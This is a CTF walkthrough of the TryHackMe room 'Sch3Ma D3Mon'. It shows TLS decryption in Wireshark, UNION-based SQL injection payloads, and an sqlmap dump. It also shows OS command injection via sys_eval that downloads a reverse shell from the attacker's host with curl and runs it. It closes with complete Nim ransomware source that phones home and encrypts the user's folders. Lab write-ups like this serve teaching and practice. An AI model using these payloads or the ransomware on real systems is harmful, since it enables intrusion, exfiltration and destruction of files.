TryHack3M: Sch3Ma D3Mon

A guided challenge to learn about SQL injection exploits. -by strategos, MaxRobertson and arebel


Some Wireshark

We download the task files and find a ssl_key.log file in there as well as a pcapng. Inspecting the pcapng with Wireshark, we see we are dealing with a lot of encrypted HTTPS traffic. Since we have a ssl_key.log file, we can decrypt that traffic following the guide below:

Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename [ssl-key.log]

After adding the ssl.key.log file, we should be able to see the clear text content of the HTTPS traffic.

(http.request or tls.handshake.type eq 1) and !(ssdp)

To answer the first two questions, we follow packet no. 78.

right click → Follow → HTTP Stream

Here we find the credentials to access the products search page for the following tasks.

Manual and Non-Manual SQLI

We start a Nmap scan and find three open ports, on port 8000 we find the page in question.

After logging in with the found credentials from the Wireshark pcapng file...

...we are redirected to /searchproducts.php.

Manually

We have to guess or enumerate the database, since we have some column names like Product Name, Product Type, etc. on the page, we deduce that the actual column names in the table are like product_name. Since the challenge heading is about unlisted stuff, and we are facing the products page, we try the table name unlisted_products. With that, we are able to retrieve the hidden path.

' UNION SELECT 1,2,3,4,product_name FROM unlisted_products -- - 

We could also enumerate the database by querying the information_schema.tables.

See this article as referene:

With the following query we can retrieve all tables from the database:

'union select null, null, null, group_concat(table_name, 0x0a), null FROM information_schema.tables WHERE table_schema = database() -- //

Get the columns of the table:

'UNION SELECT null, null, null, group_concat(0x7c,column_name,0x7c), null FROM information_schema.columns WHERE table_name='unlisted_products' -- //

Retrieve the data from the table:

'UNION SELECT null, null, null, group_concat(id,0x7c,product_name,0x7c,product_type,0x7c,description,0x7c,price), null FROM unlisted_products -- //

Easter Egg

'UNION SELECT null, null, null, group_concat(0x7c,column_name,0x7c), null FROM information_schema.columns WHERE table_name='easter_egg' -- //
'UNION SELECT null, null, null, group_concat(0x7c,message,0x7c,url_path), null FROM easter_egg-- //

Go check it out :)

SQLMap

We can capture the request of searching an arbitrary product and use that in SQLMap to dump the entire database and finding some neat easter eggs and all the info we need for the upcoming questions.

POST /searchproducts.php HTTP/1.1
Host: 10.10.211.168:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://10.10.211.168:8000
Connection: close
Referer: http://10.10.211.168:8000/searchproducts.php
Cookie: PHPSESSID=1c09011c2aa7521e8724e372229bda9d
Upgrade-Insecure-Requests: 1

searchitem=asdf
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/TryHack3M/Sch3Ma D3Mon]
└─$ sqlmap -r search-req.txt --dump

OS Command SQLI

We head to /os_sqli.php and edit the provided payload with 3 additional null values, and get the user in context running the OS commands.

http://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27whoami%27)%20--%20//

Running pwd to answer the question of Task 4.

http://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27pwd%27)%20--%20//

To find the needle in the malwarestack we are asked to decrypt the .txt.gpg files with the keys hidden in the database. Let's first try to retrieve the receipts. We can find the receipts at /home/receipts.

http://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27ls%20/home/receipts%27)%20--%20//

But we can't actually retrieve its full content since it is cut.

http://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27cat%20/home/receipts/3000000.txt.gpg%20%27)%20--%20//

A workaround is to spawn a reverse shell. We see that we have python3 available. Let's craft a python3 reverse shell using revshells.com and save the file to our machine. Next, we create an HTTP server via python on our machine to make the script available to the target machine. We use curl via the sqli OS command page to download the reverse shell script and then execute that afterwards.

http://10.10.211.168:8000/os_sqli.php?user=lannister' union SELECT null,null,null,null,sys_eval('ls /usr/bin/python3') -- //&debug=true

Download the reverse shell to /tmp:

http://10.10.211.168:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27curl%20http://10.8.211.1/shell.py%20-o%20/tmp/shell.py%27)%20--%20//&debug=true

Execute reverse shell:

http://10.10.211.168:8000/os_sqli.php?user=lannister' union SELECT null,null,null,null,sys_eval('python3 /tmp/shell.py') -- //&debug=true

We have now an interactive shell which can be upgraded using:

With the upgraded shell we can move arround freely.

Now we are able to extract the contents fully of 300000.txt.pgp via cat and copy its content. Next, we save that.

Next, we can use the dump of SQLMap to retrieve the bitcoin_sender_address to decrypt the receipt and get the location of the malware.

You can also retrieve it manually. Head back to /searchproducts.php.

First, checkout the tables we have:

'union select null, null, null, group_concat(table_name, 0x0a), null FROM information_schema.tables WHERE table_schema = database() -- //

Transactions seems promising:

'UNION SELECT null, null, null, group_concat(0x7c,column_name,0x7c), null FROM information_schema.columns WHERE table_name='transactions' -- //

Get the contents of transactions table:

'UNION SELECT null, null, null, group_concat(0x7c,bcoin_recipient_address,0x7c,bcoin_sender_address,0x7c,purchase_timestamp,0x7c,transaction_ammount,0x7c,transaction_number), null FROM transactions -- // 

After decrypting the receipt we get the path to the malware. In line 59 we can see which file extension gets added to the file after encryption.

malware.nim
import os
import strformat
import httpclient
import nimcrypto
import base64
import json
import winim

# Added function to check for the debug mode in the config file
func isDebugEnabled(): bool =
  let configFile = getCurrentDir() & DirSep & "config.json" # Assuming JSON format for simplicity
  if fileExists(configFile):
    let configContent = readFile(configFile)
    let configJson = parseJson(configContent)
    if "debug" in configJson:
      return configJson["debug"].getBool()
  return false

func toByteSeq*(str: string): seq[byte] {.inline.} =
    @(str.toOpenArrayByte(0, str.high))

proc change_wp(isDebug: bool): void =
  if not isDebug:
    var client = newHttpClient()
    var user = getEnv("USERNAME")
    var hostname = getEnv("COMPUTERNAME")
    var report_url = fmt"http://172.16.251.121/aaaaa_ransom.jpg?user={user}&hostname={hostname}"
    var req = client.getContent(report_url)

    var dump = getTempDir() & "paymeboogey.jpg"
    writeFile(dump, req)

    SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, cast[PVOID](dump.cstring), SPIF_UPDATEINIFILE or SPIF_SENDCHANGE)

proc recursive(path: string, isDebug: bool): void =
  for file in walkDirRec path:
    let fileSplit = splitFile(file)
    let password: string = "myKey"
    if fileSplit.ext != ".boogey" and fileSplit.ext != ".ini":
      echo fmt"[*] Encrypting: {file}"
      var
          inFileContents: string = readFile(file)
          plaintext: seq[byte] = toByteSeq(inFileContents)
          ectx: CTR[aes256]
          key: array[aes256.sizeKey, byte]
          iv: array[aes256.sizeBlock, byte]
          encrypted: seq[byte] = newSeq[byte](len(plaintext))

      iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 34, 12]
      var expandedKey = sha256.digest(password)
      copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))

      ectx.init(key, iv)
      ectx.encrypt(plaintext, encrypted)
      ectx.clear()

      if not isDebug:
        let encodedCrypted = encode(encrypted)
        let finalFile = file & ".boogey"
        moveFile(file, finalFile)
        writeFile(finalFile, encodedCrypted)

let debugEnabled = isDebugEnabled()
change_wp(debugEnabled)
var path = getHomeDir() & "Documents"
recursive(path, debugEnabled)
path = getHomeDir() & "Downloads"
recursive(path, debugEnabled)
path = getHomeDir() & "Desktop"
recursive(path, debugEnabled)

By reading the readme.txt, we are able to determine how to set the program in debug mode. After running the program in that mode, we are able to retrieve the final flag.

Last updated